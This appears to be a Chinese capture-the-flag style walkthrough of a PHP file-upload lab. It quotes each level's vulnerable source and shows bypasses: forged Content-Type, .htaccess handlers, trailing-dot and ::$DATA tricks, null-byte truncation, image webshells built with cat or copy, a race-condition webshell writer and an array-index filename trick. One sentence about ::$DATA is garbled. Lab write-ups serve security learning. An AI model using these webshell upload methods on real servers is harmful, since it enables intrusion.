实战中如果是黑盒测试,应该只能一个个去试了。
上传区提示,请选择要上传的图片:
直接F12看下前端代码,表单有提交响应函数οnsubmit=“return checkFile()”,通过检查上传文件的后缀,只允许提交jpg、png、gif文件,删掉即可提交php文件。
总之,浏览器端的检查都是不靠谱的。改源码,或抓包后改数据,就能绕过。
看下源码:
include '../config.php'; // 定义了一些宏常量
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
//...
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
//...
config.php中定义的宏:
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']); // C:/phpstudy_pro/WWW
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__))); // C:/phpstudy_pro/WWW/upload
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT)); // /upload
//文件包含漏洞页面
define("INC_VUL_PATH",APP_URL_ROOT . "/include.php"); // /upload/include.php
//设置上传目录
define("UPLOAD_PATH", "../upload"); // ../upload
?>
提交2.php,返回响应提示:文件类型不正确,请重新上传!
。抓包后修改content-type为image/gif
即可上传。
常见content-type:
媒体格式类型
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式
以application开头的媒体格式类型:
application/xhtml+xml :XHTML格式
application/xml: XML数据格式
application/atom+xml :Atom XML聚合格式
application/json: JSON数据格式
application/pdf:pdf格式
application/msword : Word文档格式
application/octet-stream : 二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded :
源码:
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
// move_uploaded_file
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
上传3.php,提示提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!
。
当了下php后缀的大小写,也没有绕过。
黑名单的文件类型不全,那可以使用的php文件类型还有很多:
.phtml .php3 .php4 .php5 .phps .pht .phtm
服务器httpd.conf当然也要支持这些类型才行:
...
#AddType text/html .shtml
#AddOutputFilter INCLUDES .shtml
AddType application/x-httpd-php .php .phtml .php3 .php4 .php5 .phps .pht .phtm
但是我试了phtml,php5等文件,,都没有成功。
看下源码:
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
}
多数后缀都试过了,一直在提示 文件不允许上传。
查看右上角提示,以下文件禁止上传:
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
其中没有.htaccess文件。
.htaccess, 全称是Hypertext Access, 提供了针对目录改变配置的方法, 管理员可以通过Apache的AllowOverride指令来设置。
为了上传并利用htaccess文件,需要配置httpd.conf:
LoadModule rewrite_module modules/mod_rewrite.so
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
# Options FileInfo AuthConfig Limit
AllowOverride All
上传一个htaccess文件,这个文件会将对应文件当成php来解析。有些writeup说只需要SetHandler命令:
SetHandler application/x-httpd-php
上传的时候,因为linux里点开头的文件是隐藏的,可能无法上传,先命名为1.htaccess,抓包再去掉1即可。
然后上传4.jpg,蚁剑连接/upload/4.jpg,不过我这一步test connection,始终返回Response is null。。。
关键源码:
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
当然在现实中,肯定会用白名单。
这一关过滤了htaccess,考的是过滤绕过了,直接看源码:
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点 问题出在这里
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
查看common.php:
// 删除末尾的点
function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){ //从后往前找,不是点则返回
return $s;
}
if($c != '.'){
return substr($s,0,$i+1);
}
}
}
?>
所以抓包修改文件名后缀,加上点 空格 点
5.php. .
这样deldot就返回5.php.
,绕过成功。
看源码,相比前两题,少调用了strtolower,所以文件名后缀改为pHP即可绕过。
抓包,后缀加个空格即可。
在php+windows的情况下:如果文件名+:: D A T A 会 把 : : DATA会把:: DATA会把::DATA之后的数据当成文件流处理,不会检测后缀名.且保持":: D A T A " 之 前 的 文 件 名 。 利 用 w i n d o w s 特 性 , 可 在 后 缀 名 中 加 : : DATA"之前的文件名。利用windows特性,可在后缀名中加:: DATA"之前的文件名。利用windows特性,可在后缀名中加::DATA绕过。
本题源码没有过滤::DATA,所以后缀修改成php::$DATA
即可。
和Pass 5 一摸一样。
服务端会把黑名单里的后缀全部替换成空,那抓包把php改成pphphp就行了。注意不能改成phphpp,这样会保存为.hpp
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
本题的服务端保存路径由post请求传参:
$file_name = $_POST['save_name'];
//$file_name = trim($file_name); // 没有去空格
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
<form enctype="multipart/form-data" method="post">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<p>保存名称:<p>
<input class="input_text" type="text" name="save_name" value="upload-19.jpg" /><br/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
move_uploaded_file()有个特性,会忽略掉文件末尾的 /.
upload-19.php/.
-----------------------------195451071732499698493688259232
Content-Disposition: form-data; name="submit"
另外服务端没有去空格,如果在upload-19.php后面加个空格,使服务端获取的后缀为php空格
,也能绕过检查。
本题需要php版本小于5.3,并把magic_quotes_gpc关闭,改开关会对所有的GET、POST和COOKIE 中的特殊字符自动addslashes()。
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
//...
<form action="?save_path=../upload/" enctype="multipart/form-data" method="post">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
//...
服务端保存路径$_GET['save_path']
直接拼接字符串,那可以用00截断。
抓包可以看到请求里有GET参数:
POST /upload/Pass-12/index.php?save_path=../upload/ HTTP/1.1
加上12.php%00,文件名改为12.jpg,然后上传即可。
POST /upload/Pass-12/index.php?save_path=../upload/12.php%00 HTTP/1.1
和12题不同的是,本题用post传递保存路径:
<form enctype="multipart/form-data" method="post">
<p>请选择要上传的图片:<p>
<input type="hidden" name="save_path" value="../upload/"/>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
post请求不会自行解码,所以抓包后要在hex视图里添加00:
../upload/13.php
-----------------------------8916468249213168752828719884
Content-Disposition: form-data; name="upload_file"; filename="13.jpg"
0D 0A 0D 0A 2E 2E 2F 75 70 6C 6F 61 64 2F 31 33 ../upload/13
2E 70 68 70 00 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D .php ---------
这一关会检查文件的前两个字节,所以需要制作图片木马。
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
linux制作图片马的命令:
cat 1.png 14.php > 14pic.php
windows下对应的命令:
copy /b 1.png + 14.php /a 14pic.png
我一般会用十六进制编辑器在末尾添加。
服务端保存的文件后缀此时是png,所以这种二进制文件上传漏洞一般还要搭配文件包含漏洞来完成利用。Pass 1中说的config.php里包含的include.php就是靶场提供的文件包含漏洞脚本:
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
访问http://10.10.10.156/upload/include.php?file=upload/1820220222192320.png
,只要没有解析错误(有些图片马会无法解析),就可以用蚁剑连接了。
相比14,换成php函数来判断图片文件:
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
// vardump($info);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
文档:https://www.php.net/manual/en/function.getimagesize.php
还是换了一个php函数来判断图片:
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
这个函数比getimagesize快一些。
文档:https://www.php.net/manual/en/function.exif-imagetype.php
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
//...
这一关判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染。
二次渲染会将一句话木马删除。可以把图片下载下来,和图片木马比较,相同的地方重新写入一句话木马上传。
遗憾的是,我用WinMerge比较,除了开头几个字节,其余基本上全变了。。。
函数文档:
这篇文章详细总结了二次渲染的绕过方法:https://xz.aliyun.com/t/2657
这个题也可以用图片马上传并连接,但本意是要考察条件竞争。这里我将代码改了一下:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
sleep(1);
// if(isWebShell)
// {
unlink($img_path);
//}
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
服务端在检查到上传的文件包含webshell脚本后,马上删除该文件。但如果图片木马里的脚本是写入一个webshell,并且攻击者同时不停地访问该图片木马,上传成功和删除之间的时间里,就可以生成一个新的webshell。现在将图片木马(xxx.png)脚本修改如下:
fputs(fopen("webshell.php","w"), ''); ?>
用bp intruder不停地上传图片马(无payload,continues indefinitely),同时用浏览器访问/upload/include.php?file=xxx.png
, 就能生成webshell.php了。
我作了下弊,在改名前睡了1秒~
浏览器访问图片马的时候别忘关代理~
myupload.php需要改下上传路径:
function setDir( $dir ){
if( !is_writable( $dir ) ){
return "DIRECTORY_FAILURE";
} else {
$this->cls_upload_dir = $dir."/"; // 这里改一下,加个斜杠
return 1;
}
}
其余和18题一样。
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//mime check
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//check filename
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
var_dump($file);
// array(2) {
// [0]=>
// string(13) "upload-21.php"
// [2]=>
// string(3) "jpg"
// }
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
var_dump(count($file)); // int(2)
$file_name = reset($file) . '.' . $file[count($file) - 1]; // 这里拼接的下标为0和1
var_dump($file_name);
// string(14) "upload-21.php."
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
检查流程:
在检查后缀时,将文件名以点拆分,也就是从$_POST['save_name']
获取一个数组,默认最后一个元素是后缀字符串,而通过篡改数据包,这个数组(的最后一个元素)是可以被控制的:
-----------------------------406851344230091600221585617087
Content-Disposition: form-data; name="upload_file"; filename="21.jpg"
Content-Type: image/jpeg
-----------------------------406851344230091600221585617087
Content-Disposition: form-data; name="save_name[0]"
upload-21.php
-----------------------------406851344230091600221585617087
Content-Disposition: form-data; name="save_name[2]"
jpg
-----------------------------406851344230091600221585617087
Content-Disposition: form-data; name="submit"
上传
-----------------------------406851344230091600221585617087--
结合我给源码增加的var_dump注释,可以看出file数组的结构很有意思,下标1是空的,而下标2是被篡改后的文件后缀:
array(2) {
[0]=>
string(13) "upload-21.php"
[2]=>
string(3) "jpg"
}
而且数组长度仍然为2,最后reset时就把jpg给扔掉了,成功保存为php文件。